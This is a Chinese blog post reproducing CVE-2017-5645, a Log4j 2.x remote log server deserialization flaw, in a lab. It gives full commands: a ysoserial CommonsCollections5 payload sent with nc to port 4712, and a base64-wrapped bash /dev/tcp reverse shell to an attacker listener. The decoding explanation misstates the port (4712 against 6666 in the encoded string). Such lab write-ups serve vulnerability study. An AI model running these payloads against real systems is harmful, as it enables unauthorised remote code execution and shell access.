• Apache Log4j Server (CVE-2017-5645) 反序列化命令执行漏洞


    Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)

    1.1 漏洞描述

    Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。

    说明内容
    漏洞编号CVE-2017-5645
    漏洞名称Apache Log4j Server 反序列化命令执行漏洞
    漏洞评级高危
    影响范围Apache Log4j 2.8.2之前的2.x版本
    漏洞描述Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。

    1.2 漏洞复现

    1.2.1 环境启动

    image-20231011212552558

    1.2.2 漏洞验证

    使用nmap工具扫描开放的端口

    image-20231011212827813

    可以看到4712端口是正常开启的。

    使用ysoserial生成payload,然后直接发送给192.168.188.185:4712端口即可。

    ysoserial是什么?

    ysoserial是在常见的java库中发现的一组实用程序和面向属性的编程“小工具链”,在适当的条件下,可以利用执行对象不安全反序列化的Java应用程序。主驱动程序接受用户指定的命令,并将其封装在用户指定的小工具链中,然后将这些对象序列化为stdout。当类路径上具有所需小工具的应用程序不安全地反序列化该数据时,将自动调用该链并导致在应用程序主机上执行该命令。

    ysoserial项目地址:

    https://github.com/frohoff/ysoserial

    下载后打包成jar文件进行使用。

    执行命令

    java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/testsuccess" | nc 192.168.188.185 4712
    
    • 1

    image-20231014142922046

    执行命令进入容器

    sudo docker exec -it [容器id] /bin/bash
    
    • 1

    image-20231014143048024

    执行命令

    cd tmp
    
    • 1

    进入tmp文件夹,查看目录文件,可以看到testsuccess文件,可见touch /tmp/testsuccess执行成功。

    image-20231014143127978

    1.2.3 漏洞利用

    只需要将命令替换成反弹shell的命令,就能够成功弹回shell。

    bash -i >& /dev/tcp/192.168.188.185/6666 0>&1
    
    • 1

    将构造的payload进行base64加密。

    YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvNjY2NiAwPiYx
    
    • 1

    image-20231014143732992

    kali开启监听

    nc -lnvp 6666
    
    • 1

    image-20231014143853966

    再开启一个新的终端,输入如下内容。

    java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" | nc 192.168.188.185 4712
    
    • 1

    命令解析:

    • bash -c:这个选项告诉 Bash 执行后面的一系列命令。
    • {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvNjY2NiAwPiYx}:这是一个经过 Base64 编码的命令字符串,解码后为bash -i >& /dev/tcp/192.168.188.185/4712 0>&1。意思是将 Bash 的输入和输出重定向到指定的 IP 地址和端口。
    • {base64,-d}:这个命令使用 base64 工具进行 Base64 解码。
    • {bash,-i}:这个命令会执行解码后的 Bash 命令,即与指定的 IP 地址和端口建立一个交互式的 Shell 连接。

    image-20231014144159746

    反弹成功

    image-20231014144147427

    能够正确执行命令,shell反弹成功

    image-20231014144706974

    1.3 加固建议

    更新到最新版本

  • 相关阅读:
    GFS分布式文件系统
    mysql 事务 Read Committed
    爬虫时如何利用BeautifulSoup获取我们需要的数据?
    分享43个职场必备excel函数!(内含详细案例解析及教程参考)
    “出海”掘金,程序员为何要奔赴新的战场?
    SPARKSQL3.0-DataFrameAPI与spark.sql()区别源码分析
    pytest + yaml 框架 - 3.全局仅登录一次,在用例中自动在请求头部添加Authentication token认证
    图书管理系统路径不对
    阿里巴巴找黄金宝箱(II)
    PMP考试有哪些技巧?
  • 原文地址:https://blog.csdn.net/weixin_58783105/article/details/133840621